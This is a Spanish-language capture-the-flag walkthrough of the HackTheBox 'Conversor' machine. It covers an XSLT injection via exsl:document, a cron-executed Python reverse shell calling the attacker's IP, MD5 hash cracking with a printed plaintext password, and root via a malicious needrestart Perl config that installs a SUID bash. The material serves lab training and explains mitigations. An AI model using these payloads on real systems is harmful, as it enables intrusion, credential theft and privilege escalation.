CONVERSOR

// HackTheBox · Linux · Fácil · XSLT Injection + Cron Abuse + CVE-2024-48990

HACKTHEBOX LINUX FÁCIL XSLT INJECTION CRON ABUSE SSH CVE-2024-48990 // 2026-05-31

Reconocimiento

1
VERIFICAR CONECTIVIDAD — PING

El primer paso siempre es confirmar que la máquina objetivo está activa y responde a través de la VPN de HackTheBox. Usamos ping con el flag -c 3 para limitar el envío a exactamente 3 paquetes ICMP — sin este flag el ping sería infinito. La IP objetivo es 10.129.238.31.

El TTL de 63 en la respuesta es un indicador del sistema operativo: Linux inicia con TTL 64 y pierde 1 al pasar por cada hop de red, por lo que recibir 63 indica que hay exactamente un router entre nosotros y la máquina. Windows usaría TTL 128, por lo que este resultado confirma que es Linux.

PING
$ ping 10.129.238.31 -c 3
PING 10.129.238.31 (10.129.238.31) 56(84) bytes of data.
64 bytes from 10.129.238.31: icmp_seq=1 ttl=63 time=114 ms
64 bytes from 10.129.238.31: icmp_seq=2 ttl=63 time=114 ms
64 bytes from 10.129.238.31: icmp_seq=3 ttl=63 time=115 ms
 
--- 10.129.238.31 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2013ms
rtt min/avg/max/mdev = 113.668/114.375/115.026/0.555 ms
2
ESCANEO COMPLETO CON NMAP

Con conectividad confirmada, lanzamos un escaneo exhaustivo con nmap guardando resultados en XML para poder transformarlos luego en HTML. Desglosando cada flag:

-p- escanea los 65,535 puertos TCP en lugar de solo los 1,000 más comunes. Muchos servicios interesantes corren en puertos no estándar — un escaneo básico los pasaría por alto. Es más lento pero garantiza cobertura completa.

-sSCV combina tres flags en uno: -sS (SYN scan — envía solo el paquete SYN sin completar el handshake TCP, más rápido y sigiloso que un connect scan completo), -sC (ejecuta los scripts por defecto de NSE — Nmap Scripting Engine — que detectan configuraciones, banners y vulnerabilidades comunes), y -sV (detecta la versión exacta del servicio en cada puerto abierto).

-n desactiva la resolución DNS inversa. Cuando nmap intenta resolver cada IP a un nombre de dominio, añade latencia innecesaria en un entorno de laboratorio donde esa información no aporta valor.

-Pn deshabilita el host discovery previo al escaneo. Por defecto nmap primero comprueba si el host está activo enviando paquetes ICMP. En algunas máquinas HTB el firewall bloquea ICMP pero los puertos TCP están abiertos — sin -Pn nmap asumiría que el host está caído. Ya confirmamos conectividad con ping, así que lo saltamos.

--min-rate=5000 fuerza a nmap a enviar al menos 5,000 paquetes por segundo, acelerando significativamente el escaneo de 65,535 puertos de varios minutos a menos de un minuto. Aceptable en entornos de laboratorio.

--open filtra la salida para mostrar solo puertos en estado abierto, descartando los cerrados y filtrados para una lectura limpia.

-oX conversor.xml guarda los resultados en formato XML. Este formato estructurado permite transformarlo posteriormente con xsltproc en un HTML visual con tablas y colores, útil para reportes profesionales.

ESCANEO
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.238.31 -oX conversor.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-31 15:44 -0400
Nmap scan report for 10.129.238.31
Host is up (0.42s latency).
Not shown: 60916 closed tcp ports (reset), 4617 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open ssh   OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http  Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 37.09 seconds

// ANÁLISIS DE RESULTADOS

Solo 2 puertos abiertos: 22 (SSH) con OpenSSH 8.9p1 y 80 (HTTP) con Apache 2.4.52. La línea clave es http-title: Did not follow redirect to http://conversor.htb/ — nmap detectó que el servidor redirige a un dominio virtual. Además el campo Service Info: Host: conversor.htb nos confirma el nombre de dominio que debemos configurar en nuestro sistema.

3
CONVERTIR RESULTADOS NMAP A HTML

xsltproc es un procesador de hojas de estilo XSLT de línea de comandos. Nmap incluye una hoja de estilo (/usr/share/nmap/nmap.xsl) que transforma el XML generado en un HTML tabular con colores y estilos, perfecto para incluir en reportes o revisar escaneos grandes cómodamente en el navegador. Este paso también es relevante para entender conceptualmente qué hace Conversor — la máquina que estamos atacando.

XSLT
$ xsltproc /usr/share/nmap/nmap.xsl conversor.xml > conversor.html

Configurar /etc/hosts

4
AGREGAR ENTRADA EN /etc/hosts

El servidor Apache usa Virtual Hosting: sirve diferente contenido según el valor del header HTTP Host de cada petición. Si accedemos directamente por IP, Apache no reconoce el sitio y redirige al dominio correcto. Como conversor.htb no existe en DNS público (es un dominio ficticio de HTB), debemos indicarle manualmente a nuestro sistema cómo resolverlo.

El archivo /etc/hosts es el resolver DNS local del sistema operativo — se consulta antes que cualquier servidor DNS externo. Al agregar la línea 10.129.238.31 conversor.htb, cualquier petición a ese dominio va directamente a la IP de la máquina sin consultar DNS. Requiere sudo porque /etc/hosts es un archivo del sistema.

HOSTS
$ sudo nano /etc/hosts
# Agregar esta línea al final del archivo:
10.129.238.31    conversor.htb

// ¿POR QUÉ VIRTUAL HOSTING?

Virtual Hosting permite a un servidor alojar múltiples sitios web en la misma IP. Apache decide qué sitio mostrar leyendo el header Host de cada petición HTTP. Si accedemos por IP, el header Host es la IP y Apache no encuentra coincidencia con "conversor.htb", por eso redirige. Al configurar /etc/hosts, el navegador envía Host: conversor.htb y Apache sirve el sitio correcto.


Exploración Web · Puerto 80

5
EXPLORAR LA APLICACIÓN — PÁGINA /about

Al acceder a http://conversor.htb encontramos una aplicación web llamada Conversor: convierte archivos XML en HTML visualmente atractivo utilizando hojas de estilo XSLT. La app requiere registro e inicio de sesión. La página tiene dos inputs: un XML File y un XSLT File.

Navegamos a la página /about donde encontramos a los desarrolladores del proyecto. Hay un botón muy interesante: Download Source Code. Esta es una mala práctica de seguridad gravísima: exponer el código fuente de la aplicación a cualquier visitante permite a un atacante auditar la lógica interna y encontrar vulnerabilidades sin necesidad de técnicas de fuzzing o OSINT.

Con curl hacemos una petición GET a /about y filtramos las URLs con grep buscando los términos "download", "source" y "href" con el flag -i (case insensitive). El pipe | redirige la salida estándar de curl como entrada de grep, evitando guardar el HTML en disco.

CURL
$ curl http://conversor.htb/about | grep -i "download|source|href"
<a class="btn btn-primary" href="/static/source_code.tar.gz" download>
  🔒 Download Source Code
</a>

// EXPOSICIÓN DE CÓDIGO FUENTE

Encontramos que el código fuente está disponible en /static/source_code.tar.gz. Exponer el código fuente de una aplicación web en producción es una vulnerabilidad de Information Disclosure crítica: permite al atacante entender la lógica de negocio, encontrar credenciales hardcodeadas, identificar rutas internas, y descubrir cómo se procesan los datos — todo sin disparar ninguna alerta en el servidor.


Source Code Analysis

6
DESCARGAR EL CÓDIGO FUENTE

Descargamos el archivo comprimido con curl usando el flag -o para especificar el nombre del archivo de salida. Sin -o, curl imprimiría el contenido binario por pantalla sin guardarlo en disco.

DESCARGA
$ curl -o source_code.tar.gz http://conversor.htb/static/source_code.tar.gz
7
VERIFICAR E INSPECCIONAR EL CONTENIDO

Verificamos el tipo de archivo con file y luego lo extraemos con tar. Los flags de tar: -x (extract, extraer), -v (verbose, muestra cada archivo extraído), -f (file, especifica el archivo a procesar). El resultado nos revela la estructura completa de la aplicación Flask.

TAR
$ file source_code.tar.gz
$ tar -xvf source_code.tar.gz
source_code.tar.gz: POSIX tar archive (GNU)
 
app.py
app.wsgi
install.md
instance/
instance/users.db
scripts/
static/
static/nmap.xslt
templates/register.html
templates/about.html
templates/index.html
templates/login.html
templates/base.html
templates/result.html
uploads/
8
AUDITAR app.py — ENCONTRAR LA VULNERABILIDAD

El archivo más importante es app.py, el corazón de la aplicación Flask. Revisamos cómo procesa los archivos subidos por el usuario. En la ruta /convert encontramos el código crítico:

app.py
# El parser XML tiene resolve_entities=False — protección contra XXE
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
 
# El XSLT se parsea SIN restricciones — aquí está la vulnerabilidad
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
 
# El resultado se guarda en uploads/ con UUID como nombre
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)

// VULNERABILIDAD — XSLT INJECTION

El XML se parsea con restricciones de seguridad (resolve_entities=False, no_network=True), bloqueando ataques XXE. Sin embargo, el XSLT se parsea sin ninguna restricción: etree.parse(xslt_path) sin argumentos de seguridad. XSLT es un lenguaje de programación completo — la extensión exsl:document permite escribir archivos arbitrarios en el sistema de archivos del servidor. Un atacante que controla el XSLT puede escribir cualquier contenido en cualquier ruta accesible por el proceso www-data.

9
LEER install.md — DESCUBRIR EL CRON JOB

El archivo install.md documenta cómo se despliega la aplicación en el servidor. Contiene una línea de crontab que revela algo fundamental para la explotación:

# Extracto de install.md — entrada en /etc/crontab:
 
* * * * *  www-data  for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

// EL CRON JOB — PIEZA CLAVE DE LA CADENA

Este cron job ejecuta cada minuto (indicado por los cinco asteriscos * * * * *) todos los archivos .py que existan en el directorio /var/www/conversor.htb/scripts/, como el usuario www-data. La combinación es letal: si podemos escribir un archivo .py en esa ruta (usando la XSLT Injection), el cron lo ejecutará automáticamente en el próximo ciclo — sin necesidad de ninguna interacción del servidor o de un usuario.


XSLT Injection · Escritura de Archivo

10
CREAR XSLT DE PRUEBA — PROBE

Antes de ir directamente a la reverse shell, verificamos que la XSLT Injection funciona usando exsl:document. Esta función de la extensión EXSLT permite crear y escribir archivos en el sistema de archivos del servidor durante la transformación XSLT.

La ruta de escritura elegida para la prueba es /var/www/conversor.htb/static/probe.txt — está dentro del directorio estático de Apache, lo que significa que podremos descargarlo directamente con curl para confirmar que la escritura funcionó. El contenido es simplemente EXSLT_OK.

El XML de prueba (test.xml) es el documento mínimo válido que XSLT necesita para procesar: una declaración XML y un nodo raíz con cualquier contenido. Sin un XML válido, la aplicación rechazaría la transformación antes de procesar el XSLT.

probe.xslt
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">
  <xsl:output method="html" encoding="UTF-8"/>
  <xsl:template match="/">
    <exsl:document href="/var/www/conversor.htb/static/probe.txt" method="text">EXSLT_OK</exsl:document>
    <html><body><h2>Probe sent</h2></body></html>
  </xsl:template>
</xsl:stylesheet>
test.xml
<?xml version="1.0"?>
<root><data>test</data></root>
11
SUBIR ARCHIVOS Y VERIFICAR LA ESCRITURA

Subimos ambos archivos desde la interfaz web de Conversor. Al completarse la transformación, la aplicación devuelve el resultado — pero lo importante no es ese HTML, sino que el XSLT ya ejecutó el exsl:document y escribió el archivo probe.txt en el servidor. Verificamos accediendo directamente a la ruta estática con curl:

VERIFY
$ curl http://conversor.htb/static/probe.txt
EXSLT_OK

// ¿QUÉ CONFIRMA ESTE RESULTADO?

La respuesta EXSLT_OK confirma que tenemos escritura arbitraria de archivos como el usuario www-data en el sistema de archivos del servidor. Ahora conocemos exactamente qué necesitamos: escribir un script Python de reverse shell en el directorio /var/www/conversor.htb/scripts/ para que el cron lo ejecute en el próximo minuto.


Reverse Shell · www-data

12
CREAR shell.xslt — PAYLOAD MALICIOSO

Ahora preparamos el XSLT final con el payload real. Usando el mismo mecanismo exsl:document, escribimos un script Python de reverse shell directamente en la ruta que el cron job ejecuta: /var/www/conversor.htb/scripts/shell.py.

El código Python usa el módulo socket para crear una conexión TCP saliente hacia nuestra IP y puerto. Luego con os.dup2 redirige los descriptores de archivo de stdin (0), stdout (1) y stderr (2) al socket — de esta forma toda la entrada y salida del proceso va a través de la conexión de red. Finalmente pty.spawn("/bin/bash") lanza una bash interactiva sobre esa conexión. Debes reemplazar la IP 10.10.16.7 con tu IP de HTB (visible en ip a en la interfaz tun0).

shell.xslt
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">
  <xsl:output method="html" encoding="UTF-8"/>
  <xsl:template match="/">
    <exsl:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.7",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty; pty.spawn("/bin/bash")
    </exsl:document>
    <html><body><h2>Done</h2></body></html>
  </xsl:template>
</xsl:stylesheet>
13
LISTENER NETCAT Y ESPERAR EL CRON

Antes de subir el XSLT malicioso, ponemos en escucha nuestro listener con netcat. Los flags: -l (listen, modo escucha), -v (verbose, muestra mensajes de conexión), -n (no DNS, no resolver nombres), -p 4444 (puerto en el que escuchar). Es fundamental que el listener esté activo antes de que el cron ejecute el script, ya que si la conexión TCP no tiene destino, el script fallará silenciosamente.

Una vez recibida la conexión, obtenemos una shell como www-data. La mejoramos con python3 -c 'import pty;pty.spawn("/bin/bash")' para obtener una bash interactiva completa con historial, autocompletado y control de trabajos. Luego export TERM=xterm configura el tipo de terminal para que comandos como clear funcionen correctamente.

LISTENER
$ nc -lvnp 4444
listening on [any] 4444 ...
[subir shell.xslt + test.xml en la web y esperar hasta 60 segundos]
 
connect to [10.10.16.7] from (UNKNOWN) [10.129.238.31] 56842
 
whoami
www-data
TTY
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@conversor:~$ export TERM=xterm

// ¿POR QUÉ MEJORAR LA SHELL?

Una shell de netcat básica no tiene TTY (teletypewriter). Sin TTY no funcionan: el historial con las flechas, el autocompletado con Tab, los comandos como su, sudo y editores de texto interactivos. pty.spawn crea un pseudo-terminal que simula una terminal real, desbloqueando todas esas funcionalidades. Es un paso fundamental tras obtener cualquier reverse shell.


SQLite · Extracción de Hashes

14
LOCALIZAR Y CONSULTAR LA BASE DE DATOS

Con shell como www-data, enumeramos el directorio de la aplicación. En el directorio /var/www/conversor.htb/instance/ encontramos el archivo users.db — la base de datos SQLite de la aplicación que ya habíamos visto en el código fuente descargado.

sqlite3 es el cliente de línea de comandos para bases de datos SQLite. La sintaxis es sqlite3 <archivo.db> "consulta SQL". Con SELECT * FROM users recuperamos todos los registros de la tabla de usuarios, incluyendo sus hashes de contraseña.

SQLITE
www-data@conversor:~$ cd /var/www/conversor.htb/instance
www-data@conversor:/var/www/conversor.htb/instance$ sqlite3 users.db "select * from users;"
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|test|cc03e747a6afbbcbf8be7668acfebee5
15
CRACKEAR EL HASH MD5 CON CRACKSTATION

Los hashes obtenidos tienen 32 caracteres hexadecimales — formato característico de MD5. MD5 es un algoritmo de hash criptográfico diseñado en 1991, considerado completamente roto para el almacenamiento de contraseñas: es computacionalmente barato, no usa salt por defecto, y existen bases de datos masivas de hashes precomputados.

CrackStation (https://crackstation.net) es un servicio online que dispone de bases de datos rainbow tables con miles de millones de pares hash↔password. Introducimos el hash de fismathack: 5b5c3ac3a1c897c94caad48e6c71fdec y obtenemos la contraseña en texto plano en segundos.

Hash:       5b5c3ac3a1c897c94caad48e6c71fdec
Tipo:       md5
Resultado:  Keepmesafeandwarm
USUARIO
fismathack
CONTRASEÑA
Keepmesafeandwarm
HASH MD5
5b5c3ac3a1c897c94caad48e6c71fdec
ORIGEN
users.db (SQLite)

SSH como fismathack · User Flag

16
CONECTAR POR SSH Y OBTENER USER FLAG

Con las credenciales crackeadas intentamos acceso SSH directamente a la máquina. Esta técnica se llama Password Reuse: la contraseña de la cuenta web también sirve como contraseña del usuario del sistema operativo. SSH (Secure Shell) proporciona una conexión cifrada y una terminal interactiva completa — mucho más estable que una reverse shell de netcat.

Tras autenticarnos encontramos el archivo user.txt en el home de fismathack con la User Flag de la máquina.

SSH
$ ssh fismathack@10.129.238.31
fismathack@10.129.238.31's password: Keepmesafeandwarm
 
Last login: Sun May 31 21:25:44 2026 from 10.10.16.7
fismathack@conversor:~$ ls
user.txt
fismathack@conversor:~$ cat user.txt
9741709e16657a97c14cf281bbc33781

Escalada de Privilegios · needrestart

17
ENUMERAR PERMISOS SUDO

El primer paso en la escalada de privilegios es revisar qué puede ejecutar el usuario actual con privilegios de root. El comando sudo -l lista todos los comandos que fismathack tiene permiso de ejecutar con sudo, sin necesidad de contraseña si aparece NOPASSWD.

SUDO
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass, secure_path=..., use_pty
 
User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

// CVE-2024-48990 — NEEDRESTART PRIVILEGE ESCALATION

needrestart es una utilidad de Ubuntu/Debian que detecta servicios que necesitan reiniciarse tras actualizar librerías. La versión instalada es vulnerable a CVE-2024-48990: needrestart ejecuta el intérprete Perl para procesar su archivo de configuración. Si la configuración especifica un archivo arbitrario con -c, Perl ejecuta ese archivo como código Perl con los privilegios de quien invoca needrestart — en este caso, root (porque lo ejecutamos con sudo). Podemos escribir un script Perl malicioso que se ejecutará como root.

18
CREAR EL SCRIPT PERL MALICIOSO

Escribimos un script Perl en /dev/shm/pwn.pl. El directorio /dev/shm es un sistema de archivos en RAM (shared memory) con permisos de escritura para todos los usuarios — es el lugar ideal para archivos temporales en explotación porque no requiere acceso especial y no deja rastro en disco tras un reinicio.

El payload usa system('/usr/bin/install', '-m', '04755', '/bin/bash', '/usr/local/bin/bsh'). Desglosando: install copia un archivo con permisos específicos. El flag -m 04755 establece permisos SUID (el 04 activa el setuid bit) más rwxr-xr-x normal. El SUID bit en un ejecutable hace que se ejecute con los privilegios del propietario del archivo en lugar del usuario que lo invoca. Como needrestart corre como root, /bin/bash se copiará a /usr/local/bin/bsh siendo propiedad de root y con SUID activado — lo que nos permitirá obtener una shell de root.

PERL PAYLOAD
fismathack@conversor:~$ cat > /dev/shm/pwn.pl << 'EOF'
use strict; use warnings;
system('/usr/bin/install','-m','04755','/bin/bash','/usr/local/bin/bsh');
1;
EOF

Root Flag

19
EJECUTAR NEEDRESTART CON EL CONFIG MALICIOSO

Ejecutamos needrestart con sudo especificando nuestro script Perl malicioso como archivo de configuración con el flag -c. El flag -r l indica el modo de reinicio "list" — útil para que needrestart procese la configuración sin intentar reiniciar servicios reales. Al procesar el archivo de configuración, needrestart (corriendo como root) ejecuta el script Perl, que instala bash con SUID.

EXPLOIT
fismathack@conversor:~$ sudo needrestart -c /dev/shm/pwn.pl -r l
Scanning processes ...
Scanning candidates ...
Scanning linux images ...
 
Running kernel seems to be up-to-date.
Services to be restarted:
  systemctl restart cron.service
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.
20
VERIFICAR EL SUID Y OBTENER SHELL ROOT

Verificamos que el binario se creó correctamente con ls -la. Los permisos -rwsr-xr-x confirman el SUID activado (la s en la posición del bit de ejecución del propietario). El propietario es root. Ejecutamos bsh -p donde el flag -p (privileged) indica a bash que no descarte los privilegios SUID — sin este flag, bash moderno detecta que el UID real no coincide con el efectivo y los descarta como medida de seguridad.

ROOT
fismathack@conversor:~$ ls -la /usr/local/bin/bsh
fismathack@conversor:~$ /usr/local/bin/bsh -p
-rwsr-xr-x 1 root root 1396520 May 31 21:31 /usr/local/bin/bsh
 
bsh-5.1# cd /root
bsh-5.1# ls
root.txt  scripts
bsh-5.1# cat root.txt
3e6b2b25df792686ef4b2e3d73fe7e58
USER FLAG
9741709e16657a97c14cf281bbc33781
ROOT FLAG
3e6b2b25df792686ef4b2e3d73fe7e58

Referencia de Comandos

nmap
sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX out.xml
Escaneo completo de todos los puertos TCP con detección de versión, scripts NSE, SYN scan silencioso, sin resolución DNS ni ping previo, velocidad máxima, guardando resultado en XML.
  • -p- — todos los 65,535 puertos TCP
  • -sSCV — SYN scan + scripts NSE + versiones
  • -n / -Pn — sin DNS / sin ping previo
  • --min-rate=5000 — mínimo 5,000 pkt/s
  • -oX — output en formato XML
xsltproc
xsltproc /usr/share/nmap/nmap.xsl out.xml > out.html
Transforma el XML de salida de nmap usando la hoja de estilo XSLT incluida con nmap, generando un HTML visual con tablas y colores para incluir en reportes.
  • nmap.xsl — hoja de estilo XSLT de nmap
  • > out.html — redirige salida a archivo
sqlite3
sqlite3 users.db "SELECT * FROM users;"
Cliente de línea de comandos para bases de datos SQLite. Permite ejecutar consultas SQL directamente sobre el archivo .db sin necesidad de servidor de base de datos.
  • "SELECT * FROM users" — recuperar todos los registros
  • .tables — listar tablas disponibles
  • .schema — ver estructura de la tabla
needrestart
sudo needrestart -c /ruta/config.pl -r l
Utilidad Ubuntu/Debian que detecta servicios a reiniciar. Vulnerable a CVE-2024-48990: el flag -c permite especificar un archivo Perl de configuración arbitrario que se ejecuta con los privilegios de quien invoca needrestart.
  • -c — archivo de configuración alternativo (Perl)
  • -r l — modo list, sin reiniciar servicios
install (GNU)
/usr/bin/install -m 04755 /bin/bash /usr/local/bin/bsh
Copia archivos estableciendo permisos específicos en la operación. Más potente que cp+chmod porque es atómico. El modo 04755 activa el bit SUID (04000) más permisos rwxr-xr-x.
  • -m 04755 — SUID + rwxr-xr-x
  • 04000 — bit setuid en octal
nc (netcat)
nc -lvnp 4444
Swiss army knife de redes. En modo listener espera conexiones TCP/UDP entrantes. Fundamental para recibir reverse shells: cuando el objetivo se conecta, obtenemos su stdin/stdout como entrada/salida local.
  • -l — modo escucha (listen)
  • -v — verbose, muestra mensajes
  • -n — sin resolución DNS
  • -p 4444 — puerto de escucha

Glosario

XSLT Injection — Inyección de Hojas de Estilo
XSLT (eXtensible Stylesheet Language Transformations) es un lenguaje declarativo para transformar documentos XML en otros formatos (HTML, PDF, texto). Es Turing-completo y sus extensiones permiten operaciones del sistema de archivos. La extensión exsl:document (parte del estándar EXSLT) permite crear y escribir archivos durante una transformación. Cuando una aplicación acepta hojas de estilo XSLT proporcionadas por el usuario sin restricciones, un atacante puede inyectar código XSLT malicioso que escriba archivos arbitrarios en el servidor, ejecute código, o lea datos internos. La mitigación correcta es aplicar un XSLTSecurityPreferences que restrinja el acceso al sistema de archivos y la red desde las transformaciones.
Cron Job Abuse — Abuso de Tareas Programadas
cron es el daemon de Unix para programar tareas periódicas. Su configuración principal (/etc/crontab) define qué comandos ejecutar, con qué frecuencia y bajo qué usuario. Si una tarea cron ejecuta scripts de un directorio donde un usuario sin privilegios tiene permisos de escritura, ese usuario puede colocar código malicioso que se ejecutará automáticamente con los privilegios del usuario de la tarea. En Conversor, la combinación de escritura arbitraria de archivos (via XSLT Injection) en el directorio scripts/ más el cron que ejecuta todo .py en ese directorio como www-data crean una cadena de explotación completa sin necesidad de ninguna interacción adicional.
SUID Bit — Set User ID
El SUID bit (Set User ID upon execution) es un permiso especial de Unix que, cuando se establece en un ejecutable, hace que ese ejecutable se ejecute con los privilegios del propietario del archivo en lugar del usuario que lo invoca. Si un ejecutable con SUID pertenece a root, cualquier usuario puede obtener privilegios de root ejecutándolo. En octal se representa como 4000, visible como la letra s en la posición de ejecución del propietario (-rwsr-xr-x). La técnica de copiar bash con SUID es clásica en CTF: bash -p activa el modo privilegiado que respeta los privilegios del propietario.
XXE vs XSLT Injection — Diferencias
XXE (XML External Entity) es una vulnerabilidad en el parser XML que permite incluir entidades externas (archivos del servidor, URLs de red) al procesar XML. Conversor lo mitiga configurando el XMLParser con resolve_entities=False y no_network=True. Sin embargo, no aplicó las mismas restricciones al parser XSLT — que es donde reside la vulnerabilidad real. La lección: proteger solo una parte del pipeline de procesamiento no es suficiente. Cada componente que procesa input del usuario debe ser auditado y restringido independientemente.
CVE-2024-48990 — needrestart Perl Injection
CVE-2024-48990 es una vulnerabilidad de escalada de privilegios en needrestart versiones anteriores a 3.8, presente en Ubuntu 22.04 y derivados. needrestart utiliza Perl para procesar su archivo de configuración. El flag -c permite especificar un archivo de configuración alternativo. Como needrestart suele ejecutarse con sudo (o como root via systemd), un usuario que pueda ejecutarlo con sudo -c /ruta/payload.pl puede hacer que root ejecute código Perl arbitrario. La vulnerabilidad es especialmente peligrosa porque needrestart es un paquete común en Ubuntu instalado por defecto en muchas configuraciones. La mitigación es actualizar a needrestart 3.8 o restringir el uso de -c en las reglas sudo.
MD5 — Message Digest 5
MD5 es un algoritmo de hash criptográfico produciendo un digest de 128 bits (32 caracteres hexadecimales). Diseñado en 1991, está considerado completamente roto para uso en contraseñas por tres razones: (1) es extremadamente rápido, permitiendo miles de millones de intentos por segundo con GPUs modernas; (2) no usa salt por defecto, haciendo posibles los ataques de rainbow tables (bases de datos precomputadas de hash↔password); (3) tiene colisiones conocidas. Las alternativas modernas son bcrypt, Argon2 y scrypt, diseñados específicamente para ser lentos y resistentes a hardware especializado.
Information Disclosure — Exposición de Información
Information Disclosure es una categoría de vulnerabilidad web (CWE-200) donde una aplicación expone información sensible a usuarios no autorizados. En Conversor, la exposición del código fuente completo en /static/source_code.tar.gz sin autenticación permite a cualquier visitante leer la lógica interna, encontrar las rutas de archivos del servidor, identificar la base de datos SQLite incluida en el paquete (instance/users.db), y descubrir el cron job en install.md. Esta única vulnerabilidad fue la que reveló toda la cadena de ataque necesaria para comprometer la máquina.
Pseudo-TTY — Terminal Virtual Interactiva
Una TTY (TeleTYpewriter) es la interfaz estándar entre el usuario y el shell en Unix. Una reverse shell básica de netcat carece de TTY: no tiene línea de edición, no soporta Ctrl+C correctamente (mata la shell completa), y comandos como su o sudo fallan porque requieren un terminal real para pedir contraseñas. pty.spawn("/bin/bash") crea un pseudo-TTY (par de dispositivos pts/ptmx) que emula un terminal real, habilitando autocompletado, historial de comandos, control de trabajos y compatibilidad con programas interactivos.